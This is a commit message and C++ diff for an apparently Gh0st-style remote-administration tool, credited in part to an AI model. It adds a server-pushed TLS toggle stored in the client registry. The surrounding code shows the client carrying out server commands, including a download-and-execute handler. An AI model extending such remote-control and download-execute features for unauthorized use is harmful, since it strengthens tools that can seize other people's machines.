Feat: Per-client TLS transport toggle (TLS column + remote enable/disable)

Add a per-client TLS transport toggle controlled from the server, using the
presence of the client's trust-anchor certificate in the registry as the
single source of truth (no separate tls_enable flag).

- Client reports its TLS status via a new RES_TLS token (cert present -> 1)
  appended to LOGIN_INFOR's reserved field.
- Server online list gains a "TLS" column after the permission column.
- The "experimental features" right-click menu gains "TLS传输" / "取消TLS"
  with confirmation and a guard that prompts (instead of sending) when the
  server has no TLS certificate ready.
- New COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE (166/167): the server pushes
  its cert PEM into the client registry settings\tls_cert (enable) or deletes
  it (disable). The client picks this up on next startup via the existing
  ReadTrustAnchor logic, so the switch is non-live by design.
- Icons and en_US/zh_TW/de_DE translations for the new menu items.

Co-Authored-By: deepseek-v4-pro

client/KernelManager.cpp

@@ -839,6 +839,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_TLS_ENABLE: {
+        // 服务端下发信任锚证书：payload = PEM 正文（szBuffer+1 .. ulLength-1）。
+        // 写入注册表 settings\tls_cert，客户端下次启动读到证书即启用 TLS（非实时）。
+        if (ulLength > 1) {
+            std::string certPem((char*)szBuffer + 1, ulLength - 1);
+            m_cfg->SetStr("settings", "tls_cert", certPem);
+        }
+        break;
+    }
+    case COMMAND_TLS_DISABLE: {
+        // 删除注册表信任锚，客户端下次启动无证书即回明文（非实时）。
+        std::string subKey = GetRegistryName() + "\\settings";
+        HKEY hKey = NULL;
+        if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
+                          KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
+            RegDeleteValueA(hKey, "tls_cert");
+            RegCloseKey(hKey);
+        }
+        break;
+    }
+
     case COMMAND_DOWN_EXEC: {
         std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
         break;

client/LoginServer.cpp

@@ -444,6 +444,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
     double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
     sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
     LoginInfor.AddReserved(fileSize);                  // 文件大小
+    LoginInfor.AddReserved(TlsEnabled() ? 1 : 0);  // TLS 启用标志：有信任锚（证书）即 1
     return LoginInfor;
 }